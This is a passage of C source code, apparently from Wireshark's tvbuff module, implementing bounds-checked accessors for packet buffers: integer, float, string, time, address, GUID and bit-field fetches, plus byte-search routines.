not well-optimized for * this case, so we eat some code duplication for a lot of speedup. */ if (offset >= 0) { /* Positive offset - relative to the beginning of the packet. */ if ((guint) offset <= tvb->length) { real_offset = offset; } else if ((guint) offset <= tvb->reported_length) { THROW(BoundsError); } else if (tvb->flags & TVBUFF_FRAGMENT) { THROW(FragmentBoundsError); } else { THROW(ReportedBoundsError); } } else { /* Negative offset - relative to the end of the packet. */ if ((guint) -offset <= tvb->length) { real_offset = tvb->length + offset; } else if ((guint) -offset <= tvb->reported_length) { THROW(BoundsError); } else if (tvb->flags & TVBUFF_FRAGMENT) { THROW(FragmentBoundsError); } else { THROW(ReportedBoundsError); } } /* * Compute the offset of the first byte past the length. */ end_offset = real_offset + length; /* * Check for an overflow */ if (end_offset < real_offset) THROW(BoundsError); if (G_LIKELY(end_offset <= tvb->length)) return; else if (end_offset <= tvb->reported_length) THROW(BoundsError); else if (tvb->flags & TVBUFF_FRAGMENT) THROW(FragmentBoundsError); else THROW(ReportedBoundsError); } gboolean tvb_offset_exists(const tvbuff_t *tvb, const gint offset) { guint offset_ptr; int exception = 0; DISSECTOR_ASSERT(tvb && tvb->initialized); COMPUTE_OFFSET(tvb, offset, &offset_ptr, exception); if (exception) return FALSE; /* compute_offset only throws an exception on >, not >= because of the * comment above check_offset_length_no_exception, but here we want the * opposite behaviour so we check ourselves... */ if (offset_ptr < tvb->length) { return TRUE; } else { return FALSE; } } guint tvb_reported_length(const tvbuff_t *tvb) { DISSECTOR_ASSERT(tvb && tvb->initialized); return tvb->reported_length; } gint tvb_reported_length_remaining(const tvbuff_t *tvb, const gint offset) { guint offset_ptr; int exception = 0; DISSECTOR_ASSERT(tvb && tvb->initialized); COMPUTE_OFFSET(tvb, offset, &offset_ptr, exception); if (exception) return 0; if (tvb->reported_length >= offset_ptr) return tvb->reported_length - offset_ptr; else return 0; } /* Set the reported length of a tvbuff to a given value; used for protocols * whose headers contain an explicit length and where the calling * dissector's payload may include padding as well as the packet for * this protocol. * Also adjusts the data length. */ void tvb_set_reported_length(tvbuff_t *tvb, const guint reported_length) { DISSECTOR_ASSERT(tvb && tvb->initialized); if (reported_length > tvb->reported_length) THROW(ReportedBoundsError); tvb->reported_length = reported_length; if (reported_length < tvb->length) tvb->length = reported_length; } guint tvb_offset_from_real_beginning_counter(const tvbuff_t *tvb, const guint counter) { if (tvb->ops->tvb_offset) return tvb->ops->tvb_offset(tvb, counter); DISSECTOR_ASSERT_NOT_REACHED(); return 0; } guint tvb_offset_from_real_beginning(const tvbuff_t *tvb) { return tvb_offset_from_real_beginning_counter(tvb, 0); } static inline const guint8* ensure_contiguous_no_exception(tvbuff_t *tvb, const gint offset, const gint length, int *pexception) { guint abs_offset, abs_length; int exception; exception = check_offset_length_no_exception(tvb, offset, length, &abs_offset, &abs_length); if (exception) { if (pexception) *pexception = exception; return NULL; } /* * We know that all the data is present in the tvbuff, so * no exceptions should be thrown. */ if (tvb->real_data) return tvb->real_data + abs_offset; if (tvb->ops->tvb_get_ptr) return tvb->ops->tvb_get_ptr(tvb, abs_offset, abs_length); DISSECTOR_ASSERT_NOT_REACHED(); return NULL; } static inline const guint8* ensure_contiguous(tvbuff_t *tvb, const gint offset, const gint length) { int exception = 0; const guint8 *p; p = ensure_contiguous_no_exception(tvb, offset, length, &exception); if (p == NULL) { DISSECTOR_ASSERT(exception > 0); THROW(exception); } return p; } static inline const guint8* fast_ensure_contiguous(tvbuff_t *tvb, const gint offset, const guint length) { guint end_offset; guint u_offset; DISSECTOR_ASSERT(tvb && tvb->initialized); /* We don't check for overflow in this fast path so we only handle simple types */ DISSECTOR_ASSERT(length <= 8); if (offset < 0 || !tvb->real_data) { return ensure_contiguous(tvb, offset, length); } u_offset = offset; end_offset = u_offset + length; if (end_offset <= tvb->length) { return tvb->real_data + u_offset; } if (end_offset > tvb->reported_length) { if (tvb->flags & TVBUFF_FRAGMENT) { THROW(FragmentBoundsError); } else { THROW(ReportedBoundsError); } /* not reached */ } THROW(BoundsError); /* not reached */ return NULL; } static inline const guint8* guint8_pbrk(const guint8* haystack, size_t haystacklen, const guint8 *needles, guchar *found_needle) { gchar tmp[256] = { 0 }; const guint8 *haystack_end; while (*needles) tmp[*needles++] = 1; haystack_end = haystack + haystacklen; while (haystack < haystack_end) { if (tmp[*haystack]) { if (found_needle) *found_needle = *haystack; return haystack; } haystack++; } return NULL; } /************** ACCESSORS **************/ void * tvb_memcpy(tvbuff_t *tvb, void *target, const gint offset, size_t length) { guint abs_offset, abs_length; DISSECTOR_ASSERT(tvb && tvb->initialized); /* * XXX - we should eliminate the "length = -1 means 'to the end * of the tvbuff'" convention, and use other means to achieve * that; this would let us eliminate a bunch of checks for * negative lengths in cases where the protocol has a 32-bit * length field. * * Allowing -1 but throwing an assertion on other negative * lengths is a bit more work with the length being a size_t; * instead, we check for a length <= 2^31-1. */ DISSECTOR_ASSERT(length <= 0x7FFFFFFF); check_offset_length(tvb, offset, (gint) length, &abs_offset, &abs_length); if (tvb->real_data) { return memcpy(target, tvb->real_data + abs_offset, abs_length); } if (tvb->ops->tvb_memcpy) return tvb->ops->tvb_memcpy(tvb, target, abs_offset, abs_length); /* * If the length is 0, there's nothing to do. * (tvb->real_data could be null if it's allocated with * a size of length.) */ if (length != 0) { /* * XXX, fallback to slower method */ DISSECTOR_ASSERT_NOT_REACHED(); } return NULL; } /* * XXX - this doesn't treat a length of -1 as an error. * If it did, this could replace some code that calls * "tvb_ensure_bytes_exist()" and then allocates a buffer and copies * data to it. * * "composite_get_ptr()" depends on -1 not being * an error; does anything else depend on this routine treating -1 as * meaning "to the end of the buffer"? * * If scope is NULL, memory is allocated with g_malloc() and user must * explicitly free it with g_free(). * If scope is not NULL, memory is allocated with the corresponding pool * lifetime. */ void * tvb_memdup(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, size_t length) { guint abs_offset, abs_length; void *duped; DISSECTOR_ASSERT(tvb && tvb->initialized); check_offset_length(tvb, offset, (gint) length, &abs_offset, &abs_length); duped = wmem_alloc(scope, abs_length); return tvb_memcpy(tvb, duped, abs_offset, abs_length); } const guint8* tvb_get_ptr(tvbuff_t *tvb, const gint offset, const gint length) { return ensure_contiguous(tvb, offset, length); } /* ---------------- */ guint8 tvb_get_guint8(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint8)); return *ptr; } guint16 tvb_get_ntohs(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint16)); return pntoh16(ptr); } guint32 tvb_get_ntoh24(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 3); return pntoh24(ptr); } guint32 tvb_get_ntohl(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint32)); return pntoh32(ptr); } guint64 tvb_get_ntoh40(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 5); return pntoh40(ptr); } gint64 tvb_get_ntohi40(tvbuff_t *tvb, const gint offset) { guint64 ret; ret = ws_sign_ext64(tvb_get_ntoh40(tvb, offset), 40); return (gint64)ret; } guint64 tvb_get_ntoh48(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 6); return pntoh48(ptr); } gint64 tvb_get_ntohi48(tvbuff_t *tvb, const gint offset) { guint64 ret; ret = ws_sign_ext64(tvb_get_ntoh48(tvb, offset), 48); return (gint64)ret; } guint64 tvb_get_ntoh56(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 7); return pntoh56(ptr); } gint64 tvb_get_ntohi56(tvbuff_t *tvb, const gint offset) { guint64 ret; ret = ws_sign_ext64(tvb_get_ntoh56(tvb, offset), 56); return (gint64)ret; } guint64 tvb_get_ntoh64(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint64)); return pntoh64(ptr); } /* * Stuff for IEEE float handling on platforms that don't have IEEE * format as the native floating-point format. * * For now, we treat only the VAX as such a platform. * * XXX - other non-IEEE boxes that can run UNIX include some Crays, * and possibly other machines. * * It appears that the official Linux port to System/390 and * zArchitecture uses IEEE format floating point (not a * huge surprise). * * I don't know whether there are any other machines that * could run Wireshark and that don't use IEEE format. * As far as I know, all of the main commercial microprocessor * families on which OSes that support Wireshark can run * use IEEE format (x86, 68k, SPARC, MIPS, PA-RISC, Alpha, * IA-64, and so on). */ #if defined(vax) #include <math.h> /* * Single-precision. */ #define IEEE_SP_NUMBER_WIDTH 32 /* bits in number */ #define IEEE_SP_EXP_WIDTH 8 /* bits in exponent */ #define IEEE_SP_MANTISSA_WIDTH 23 /* IEEE_SP_NUMBER_WIDTH - 1 - IEEE_SP_EXP_WIDTH */ #define IEEE_SP_SIGN_MASK 0x80000000 #define IEEE_SP_EXPONENT_MASK 0x7F800000 #define IEEE_SP_MANTISSA_MASK 0x007FFFFF #define IEEE_SP_INFINITY IEEE_SP_EXPONENT_MASK #define IEEE_SP_IMPLIED_BIT (1 << IEEE_SP_MANTISSA_WIDTH) #define IEEE_SP_INFINITE ((1 << IEEE_SP_EXP_WIDTH) - 1) #define IEEE_SP_BIAS ((1 << (IEEE_SP_EXP_WIDTH - 1)) - 1) static int ieee_float_is_zero(const guint32 w) { return ((w & ~IEEE_SP_SIGN_MASK) == 0); } static gfloat get_ieee_float(const guint32 w) { long sign; long exponent; long mantissa; sign = w & IEEE_SP_SIGN_MASK; exponent = w & IEEE_SP_EXPONENT_MASK; mantissa = w & IEEE_SP_MANTISSA_MASK; if (ieee_float_is_zero(w)) { /* number is zero, unnormalized, or not-a-number */ return 0.0; } #if 0 /* * XXX - how to handle this? */ if (IEEE_SP_INFINITY == exponent) { /* * number is positive or negative infinity, or a special value */ return (sign? MINUS_INFINITY: PLUS_INFINITY); } #endif exponent = ((exponent >> IEEE_SP_MANTISSA_WIDTH) - IEEE_SP_BIAS) - IEEE_SP_MANTISSA_WIDTH; mantissa |= IEEE_SP_IMPLIED_BIT; if (sign) return -mantissa * pow(2, exponent); else return mantissa * pow(2, exponent); } /* * Double-precision. * We assume that if you don't have IEEE floating-point, you have a * compiler that understands 64-bit integral quantities. */ #define IEEE_DP_NUMBER_WIDTH 64 /* bits in number */ #define IEEE_DP_EXP_WIDTH 11 /* bits in exponent */ #define IEEE_DP_MANTISSA_WIDTH 52 /* IEEE_DP_NUMBER_WIDTH - 1 - IEEE_DP_EXP_WIDTH */ #define IEEE_DP_SIGN_MASK G_GINT64_CONSTANT(0x8000000000000000) #define IEEE_DP_EXPONENT_MASK G_GINT64_CONSTANT(0x7FF0000000000000) #define IEEE_DP_MANTISSA_MASK G_GINT64_CONSTANT(0x000FFFFFFFFFFFFF) #define IEEE_DP_INFINITY IEEE_DP_EXPONENT_MASK #define IEEE_DP_IMPLIED_BIT (G_GINT64_CONSTANT(1) << IEEE_DP_MANTISSA_WIDTH) #define IEEE_DP_INFINITE ((1 << IEEE_DP_EXP_WIDTH) - 1) #define IEEE_DP_BIAS ((1 << (IEEE_DP_EXP_WIDTH - 1)) - 1) static int ieee_double_is_zero(const guint64 w) { return ((w & ~IEEE_SP_SIGN_MASK) == 0); } static gdouble get_ieee_double(const guint64 w) { gint64 sign; gint64 exponent; gint64 mantissa; sign = w & IEEE_DP_SIGN_MASK; exponent = w & IEEE_DP_EXPONENT_MASK; mantissa = w & IEEE_DP_MANTISSA_MASK; if (ieee_double_is_zero(w)) { /* number is zero, unnormalized, or not-a-number */ return 0.0; } #if 0 /* * XXX - how to handle this? */ if (IEEE_DP_INFINITY == exponent) { /* * number is positive or negative infinity, or a special value */ return (sign? MINUS_INFINITY: PLUS_INFINITY); } #endif exponent = ((exponent >> IEEE_DP_MANTISSA_WIDTH) - IEEE_DP_BIAS) - IEEE_DP_MANTISSA_WIDTH; mantissa |= IEEE_DP_IMPLIED_BIT; if (sign) return -mantissa * pow(2, exponent); else return mantissa * pow(2, exponent); } #endif /* * Fetches an IEEE single-precision floating-point number, in * big-endian form, and returns a "float". * * XXX - should this be "double", in case there are IEEE single- * precision numbers that won't fit in some platform's native * "float" format? */ gfloat tvb_get_ntohieee_float(tvbuff_t *tvb, const int offset) { #if defined(vax) return get_ieee_float(tvb_get_ntohl(tvb, offset)); #else union { gfloat f; guint32 w; } ieee_fp_union; ieee_fp_union.w = tvb_get_ntohl(tvb, offset); return ieee_fp_union.f; #endif } /* * Fetches an IEEE double-precision floating-point number, in * big-endian form, and returns a "double". */ gdouble tvb_get_ntohieee_double(tvbuff_t *tvb, const int offset) { #if defined(vax) union { guint32 w[2]; guint64 dw; } ieee_fp_union; #else union { gdouble d; guint32 w[2]; } ieee_fp_union; #endif #ifdef WORDS_BIGENDIAN ieee_fp_union.w[0] = tvb_get_ntohl(tvb, offset); ieee_fp_union.w[1] = tvb_get_ntohl(tvb, offset+4); #else ieee_fp_union.w[0] = tvb_get_ntohl(tvb, offset+4); ieee_fp_union.w[1] = tvb_get_ntohl(tvb, offset); #endif #if defined(vax) return get_ieee_double(ieee_fp_union.dw); #else return ieee_fp_union.d; #endif } guint16 tvb_get_letohs(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint16)); return pletoh16(ptr); } guint32 tvb_get_letoh24(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 3); return pletoh24(ptr); } guint32 tvb_get_letohl(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint32)); return pletoh32(ptr); } guint64 tvb_get_letoh40(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 5); return pletoh40(ptr); } gint64 tvb_get_letohi40(tvbuff_t *tvb, const gint offset) { guint64 ret; ret = ws_sign_ext64(tvb_get_letoh40(tvb, offset), 40); return (gint64)ret; } guint64 tvb_get_letoh48(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 6); return pletoh48(ptr); } gint64 tvb_get_letohi48(tvbuff_t *tvb, const gint offset) { guint64 ret; ret = ws_sign_ext64(tvb_get_letoh48(tvb, offset), 48); return (gint64)ret; } guint64 tvb_get_letoh56(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, 7); return pletoh56(ptr); } gint64 tvb_get_letohi56(tvbuff_t *tvb, const gint offset) { guint64 ret; ret = ws_sign_ext64(tvb_get_letoh56(tvb, offset), 56); return (gint64)ret; } guint64 tvb_get_letoh64(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint64)); return pletoh64(ptr); } /* * Fetches an IEEE single-precision floating-point number, in * little-endian form, and returns a "float". * * XXX - should this be "double", in case there are IEEE single- * precision numbers that won't fit in some platform's native * "float" format? */ gfloat tvb_get_letohieee_float(tvbuff_t *tvb, const int offset) { #if defined(vax) return get_ieee_float(tvb_get_letohl(tvb, offset)); #else union { gfloat f; guint32 w; } ieee_fp_union; ieee_fp_union.w = tvb_get_letohl(tvb, offset); return ieee_fp_union.f; #endif } /* * Fetches an IEEE double-precision floating-point number, in * little-endian form, and returns a "double". */ gdouble tvb_get_letohieee_double(tvbuff_t *tvb, const int offset) { #if defined(vax) union { guint32 w[2]; guint64 dw; } ieee_fp_union; #else union { gdouble d; guint32 w[2]; } ieee_fp_union; #endif #ifdef WORDS_BIGENDIAN ieee_fp_union.w[0] = tvb_get_letohl(tvb, offset+4); ieee_fp_union.w[1] = tvb_get_letohl(tvb, offset); #else ieee_fp_union.w[0] = tvb_get_letohl(tvb, offset); ieee_fp_union.w[1] = tvb_get_letohl(tvb, offset+4); #endif #if defined(vax) return get_ieee_double(ieee_fp_union.dw); #else return ieee_fp_union.d; #endif } static inline void validate_single_byte_ascii_encoding(const guint encoding) { const guint enc = encoding & ~ENC_STR_MASK; switch (enc) { case ENC_UTF_16: case ENC_UCS_2: case ENC_UCS_4: case ENC_3GPP_TS_23_038_7BITS: case ENC_EBCDIC: REPORT_DISSECTOR_BUG("Invalid string encoding type passed to tvb_get_string_XXX"); break; default: break; } /* make sure something valid was set */ if (enc == 0) REPORT_DISSECTOR_BUG("No string encoding type passed to tvb_get_string_XXX"); } GByteArray* tvb_get_string_bytes(tvbuff_t *tvb, const gint offset, const gint length, const guint encoding, GByteArray *bytes, gint *endoff) { const gchar *ptr = (gchar*) tvb_get_raw_string(wmem_packet_scope(), tvb, offset, length); const gchar *begin = ptr; const gchar *end = NULL; GByteArray *retval = NULL; errno = EDOM; validate_single_byte_ascii_encoding(encoding); if (endoff) *endoff = 0; while (*begin == ' ') begin++; if (*begin && bytes) { if (hex_str_to_bytes_encoding(begin, bytes, &end, encoding, FALSE)) { if (bytes->len > 0) { if (endoff) *endoff = offset + (gint)(end - ptr); errno = 0; retval = bytes; } } } return retval; } /* support hex-encoded time values? */ nstime_t* tvb_get_string_time(tvbuff_t *tvb, const gint offset, const gint length, const guint encoding, nstime_t *ns, gint *endoff) { const gchar *begin = (gchar*) tvb_get_raw_string(wmem_packet_scope(), tvb, offset, length); const gchar *ptr = begin; const gchar *end = NULL; struct tm tm; nstime_t* retval = NULL; char sign = '+'; int off_hr = 0; int off_min = 0; int num_chars = 0; gboolean matched = FALSE; errno = EDOM; validate_single_byte_ascii_encoding(encoding); DISSECTOR_ASSERT(ns); memset(&tm, 0, sizeof(tm)); tm.tm_isdst = -1; ns->secs = 0; ns->nsecs = 0; while (*ptr == ' ') ptr++; if (*ptr) { /* note: sscanf is known to be inconsistent across platforms with respect to whether a %n is counted as a return value or not, so we have to use '>=' a lot */ if ((encoding & ENC_ISO_8601_DATE_TIME) == ENC_ISO_8601_DATE_TIME) { /* TODO: using sscanf this many times is probably slow; might want to parse it by hand in the future */ /* 2014-04-07T05:41:56+00:00 */ if (sscanf(ptr, "%d-%d-%d%*c%d:%d:%d%c%d:%d%n", &tm.tm_year, &tm.tm_mon, &tm.tm_mday, &tm.tm_hour, &tm.tm_min, &tm.tm_sec, &sign, &off_hr, &off_min, &num_chars) >= 9) { matched = TRUE; } /* no seconds is ok */ else if (sscanf(ptr, "%d-%d-%d%*c%d:%d%c%d:%d%n", &tm.tm_year, &tm.tm_mon, &tm.tm_mday, &tm.tm_hour, &tm.tm_min, &sign, &off_hr, &off_min, &num_chars) >= 8) { matched = TRUE; } /* 2007-04-05T14:30:56Z */ else if (sscanf(ptr, "%d-%d-%d%*c%d:%d:%dZ%n", &tm.tm_year, &tm.tm_mon, &tm.tm_mday, &tm.tm_hour, &tm.tm_min, &tm.tm_sec, &num_chars) >= 6) { matched = TRUE; off_hr = 0; off_min = 0; } /* 2007-04-05T14:30Z no seconds is ok */ else if (sscanf(ptr, "%d-%d-%d%*c%d:%dZ%n", &tm.tm_year, &tm.tm_mon, &tm.tm_mday, &tm.tm_hour, &tm.tm_min, &num_chars) >= 5) { matched = TRUE; off_hr = 0; off_min = 0; } if (matched) { errno = 0; end = ptr + num_chars; tm.tm_mon--; if (tm.tm_year > 1900) tm.tm_year -= 1900; if (sign == '-') off_hr = -off_hr; } } else if (encoding & ENC_ISO_8601_DATE) { /* 2014-04-07 */ if (sscanf(ptr, "%d-%d-%d%n", &tm.tm_year, &tm.tm_mon, &tm.tm_mday, &num_chars) >= 3) { errno = 0; end = ptr + num_chars; tm.tm_mon--; if (tm.tm_year > 1900) tm.tm_year -= 1900; } } else if (encoding & ENC_ISO_8601_TIME) { /* 2014-04-07 */ if (sscanf(ptr, "%d:%d:%d%n", &tm.tm_hour, &tm.tm_min, &tm.tm_sec, &num_chars) >= 2) { /* what should we do about day/month/year? */ /* setting it to "now" for now */ time_t time_now = time(NULL); struct tm *tm_now = gmtime(&time_now); tm.tm_year = tm_now->tm_year; tm.tm_mon = tm_now->tm_mon; tm.tm_mday = tm_now->tm_mday; end = ptr + num_chars; errno = 0; } } else if (encoding & ENC_RFC_822 || encoding & ENC_RFC_1123) { if (encoding & ENC_RFC_822) { /* this will unfortunately match ENC_RFC_1123 style strings too, partially - probably need to do this the long way */ end = strptime(ptr, "%a, %d %b %y %H:%M:%S", &tm); if (!end) end = strptime(ptr, "%a, %d %b %y %H:%M", &tm); if (!end) end = strptime(ptr, "%d %b %y %H:%M:%S", &tm); if (!end) end = strptime(ptr, "%d %b %y %H:%M", &tm); } else if (encoding & ENC_RFC_1123) { end = strptime(ptr, "%a, %d %b %Y %H:%M:%S", &tm); if (!end) end = strptime(ptr, "%a, %d %b %Y %H:%M", &tm); if (!end) end = strptime(ptr, "%d %b %Y %H:%M:%S", &tm); if (!end) end = strptime(ptr, "%d %b %Y %H:%M", &tm); } if (end) { errno = 0; if (*end == ' ') end++; if (g_ascii_strncasecmp(end, "UT", 2) == 0) { end += 2; } else if (g_ascii_strncasecmp(end, "GMT", 3) == 0) { end += 3; } else if (sscanf(end, "%c%2d%2d%n", &sign, &off_hr, &off_min, &num_chars) < 3) { errno = ERANGE; } if (sign == '-') off_hr = -off_hr; } } } if (errno == 0) { ns->secs = mktime_utc (&tm); if (off_hr > 0) ns->secs += (off_hr * 3600) + (off_min * 60); else if (off_hr < 0) ns->secs -= ((-off_hr) * 3600) + (off_min * 60); retval = ns; if (endoff) *endoff = (gint)(offset + (end - begin)); } return retval; } /* Fetch an IPv4 address, in network byte order. * We do *not* convert them to host byte order; we leave them in * network byte order. */ guint32 tvb_get_ipv4(tvbuff_t *tvb, const gint offset) { const guint8 *ptr; guint32 addr; ptr = fast_ensure_contiguous(tvb, offset, sizeof(guint32)); memcpy(&addr, ptr, sizeof addr); return addr; } /* Fetch an IPv6 address. */ void tvb_get_ipv6(tvbuff_t *tvb, const gint offset, struct e_in6_addr *addr) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, sizeof(*addr)); memcpy(addr, ptr, sizeof *addr); } /* Fetch a GUID. */ void tvb_get_ntohguid(tvbuff_t *tvb, const gint offset, e_guid_t *guid) { const guint8 *ptr = ensure_contiguous(tvb, offset, GUID_LEN); guid->data1 = pntoh32(ptr + 0); guid->data2 = pntoh16(ptr + 4); guid->data3 = pntoh16(ptr + 6); memcpy(guid->data4, ptr + 8, sizeof guid->data4); } void tvb_get_letohguid(tvbuff_t *tvb, const gint offset, e_guid_t *guid) { const guint8 *ptr = ensure_contiguous(tvb, offset, GUID_LEN); guid->data1 = pletoh32(ptr + 0); guid->data2 = pletoh16(ptr + 4); guid->data3 = pletoh16(ptr + 6); memcpy(guid->data4, ptr + 8, sizeof guid->data4); } /* * NOTE: to support code written when proto_tree_add_item() took a * gboolean as its last argument, with FALSE meaning "big-endian" * and TRUE meaning "little-endian", we treat any non-zero value of * "representation" as meaning "little-endian". */ void tvb_get_guid(tvbuff_t *tvb, const gint offset, e_guid_t *guid, const guint representation) { if (representation) { tvb_get_letohguid(tvb, offset, guid); } else { tvb_get_ntohguid(tvb, offset, guid); } } static const guint8 bit_mask8[] = { 0x00, 0x01, 0x03, 0x07, 0x0f, 0x1f, 0x3f, 0x7f, 0xff }; /* Get 1 - 8 bits */ guint8 tvb_get_bits8(tvbuff_t *tvb, guint bit_offset, const gint no_of_bits) { return (guint8)_tvb_get_bits64(tvb, bit_offset, no_of_bits); } /* Get 9 - 16 bits */ guint16 tvb_get_bits16(tvbuff_t *tvb, guint bit_offset, const gint no_of_bits,const guint encoding _U_) { /* note that encoding has no meaning here, as the tvb is considered to contain an octet array */ return (guint16)_tvb_get_bits64(tvb, bit_offset, no_of_bits); } /* Get 1 - 32 bits */ guint32 tvb_get_bits32(tvbuff_t *tvb, guint bit_offset, const gint no_of_bits, const guint encoding _U_) { /* note that encoding has no meaning here, as the tvb is considered to contain an octet array */ return (guint32)_tvb_get_bits64(tvb, bit_offset, no_of_bits); } /* Get 1 - 64 bits */ guint64 tvb_get_bits64(tvbuff_t *tvb, guint bit_offset, const gint no_of_bits, const guint encoding _U_) { /* note that encoding has no meaning here, as the tvb is considered to contain an octet array */ return _tvb_get_bits64(tvb, bit_offset, no_of_bits); } /* * This function will dissect a sequence of bits that does not need to be byte aligned; the bits * set will be shown in the tree as ..10 10.. and the integer value returned if return_value is set. * Offset should be given in bits from the start of the tvb. * The function tolerates requests for more than 64 bits, but will only return the least significant 64 bits. */ static guint64 _tvb_get_bits64(tvbuff_t *tvb, guint bit_offset, const gint total_no_of_bits) { guint64 value; guint octet_offset = bit_offset >> 3; guint8 required_bits_in_first_octet = 8 - (bit_offset % 8); if(required_bits_in_first_octet > total_no_of_bits) { /* the required bits don't extend to the end of the first octet */ guint8 right_shift = required_bits_in_first_octet - total_no_of_bits; value = (tvb_get_guint8(tvb, octet_offset) >> right_shift) & bit_mask8[total_no_of_bits % 8]; } else { guint8 remaining_bit_length = total_no_of_bits; /* get the bits up to the first octet boundary */ value = 0; required_bits_in_first_octet %= 8; if(required_bits_in_first_octet != 0) { value = tvb_get_guint8(tvb, octet_offset) & bit_mask8[required_bits_in_first_octet]; remaining_bit_length -= required_bits_in_first_octet; octet_offset ++; } /* take the biggest words, shorts or octets that we can */ while (remaining_bit_length > 7) { switch (remaining_bit_length >> 4) { case 0: /* 8 - 15 bits. (note that 0 - 7 would have dropped out of the while() loop) */ value <<= 8; value += tvb_get_guint8(tvb, octet_offset); remaining_bit_length -= 8; octet_offset ++; break; case 1: /* 16 - 31 bits */ value <<= 16; value += tvb_get_ntohs(tvb, octet_offset); remaining_bit_length -= 16; octet_offset += 2; break; case 2: case 3: /* 32 - 63 bits */ value <<= 32; value += tvb_get_ntohl(tvb, octet_offset); remaining_bit_length -= 32; octet_offset += 4; break; default: /* 64 bits (or more???) */ value = tvb_get_ntoh64(tvb, octet_offset); remaining_bit_length -= 64; octet_offset += 8; break; } } /* get bits from any partial octet at the tail */ if(remaining_bit_length) { value <<= remaining_bit_length; value += (tvb_get_guint8(tvb, octet_offset) >> (8 - remaining_bit_length)); } } return value; } /* Get 1 - 32 bits (should be deprecated as same as tvb_get_bits32??) */ guint32 tvb_get_bits(tvbuff_t *tvb, const guint bit_offset, const gint no_of_bits, const guint encoding _U_) { /* note that encoding has no meaning here, as the tvb is considered to contain an octet array */ return (guint32)_tvb_get_bits64(tvb, bit_offset, no_of_bits); } static gint tvb_find_guint8_generic(tvbuff_t *tvb, guint abs_offset, guint limit, guint8 needle) { const guint8 *ptr; const guint8 *result; ptr = ensure_contiguous(tvb, abs_offset, limit); /* tvb_get_ptr() */ result = (const guint8 *) memchr(ptr, needle, limit); if (!result) return -1; return (gint) ((result - ptr) + abs_offset); } /* Find first occurrence of needle in tvbuff, starting at offset. Searches * at most maxlength number of bytes; if maxlength is -1, searches to * end of tvbuff. * Returns the offset of the found needle, or -1 if not found. * Will not throw an exception, even if maxlength exceeds boundary of tvbuff; * in that case, -1 will be returned if the boundary is reached before * finding needle. */ gint tvb_find_guint8(tvbuff_t *tvb, const gint offset, const gint maxlength, const guint8 needle) { const guint8 *result; guint abs_offset; guint tvbufflen; guint limit; DISSECTOR_ASSERT(tvb && tvb->initialized); check_offset_length(tvb, offset, -1, &abs_offset, &tvbufflen); /* Only search to end of tvbuff, w/o throwing exception. */ if (maxlength == -1) { /* No maximum length specified; search to end of tvbuff. */ limit = tvbufflen; } else if (tvbufflen < (guint) maxlength) { /* Maximum length goes past end of tvbuff; search to end of tvbuff. */ limit = tvbufflen; } else { /* Maximum length doesn't go past end of tvbuff; search to that value. */ limit = maxlength; } /* If we have real data, perform our search now. */ if (tvb->real_data) { result = (const guint8 *)memchr(tvb->real_data + abs_offset, needle, limit); if (result == NULL) { return -1; } else { return (gint) (result - tvb->real_data); } } if (tvb->ops->tvb_find_guint8) return tvb->ops->tvb_find_guint8(tvb, abs_offset, limit, needle); return tvb_find_guint8_generic(tvb, offset, limit, needle); } static inline gint tvb_pbrk_guint8_generic(tvbuff_t *tvb, guint abs_offset, guint limit, const guint8 *needles, guchar *found_needle) { const guint8 *ptr; const guint8 *result; ptr = ensure_contiguous(tvb, abs_offset, limit); /* tvb_get_ptr */ result = guint8_pbrk(ptr, limit, needles, found_needle); if (!result) return -1; return (gint) ((result - ptr) + abs_offset); } /* Find first occurrence of any of the needles in tvbuff, starting at offset. * Searches at most maxlength number of bytes; if maxlength is -1, searches * to end of tvbuff. * Returns the offset of the found needle, or -1 if not found. * Will not throw an exception, even if maxlength exceeds boundary of tvbuff; * in that case, -1 will be returned if the boundary is reached before * finding needle. */ gint tvb_pbrk_guint8(tvbuff_t *tvb, const gint offset, const gint maxlength, const guint8 *needles, guchar *found_needle) { const guint8 *result; guint abs_offset; guint tvbufflen; guint limit; DISSECTOR_ASSERT(tvb && tvb->initialized); check_offset_length(tvb, offset, -1, &abs_offset, &tvbufflen); /* Only search to end of tvbuff, w/o throwing exception. */ if (maxlength == -1) { /* No maximum length specified; search to end of tvbuff. */ limit = tvbufflen; } else if (tvbufflen < (guint) maxlength) { /* Maximum length goes past end of tvbuff; search to end of tvbuff. */ limit = tvbufflen; } else { /* Maximum length doesn't go past end of tvbuff; search to that value. */ limit = maxlength; } /* If we have real data, perform our search now. */ if (tvb->real_data) { result = guint8_pbrk(tvb->real_data + abs_offset, limit, needles, found_needle); if (result == NULL) { return -1; } else { return (gint) (result - tvb->real_data); } } if (tvb->ops->tvb_pbrk_guint8) return tvb->ops->tvb_pbrk_guint8(tvb, abs_offset, limit, needles, found_needle); return tvb_pbrk_guint8_generic(tvb, abs_offset, limit, needles, found_needle); } /* Find size of stringz (NUL-terminated string) by looking for terminating * 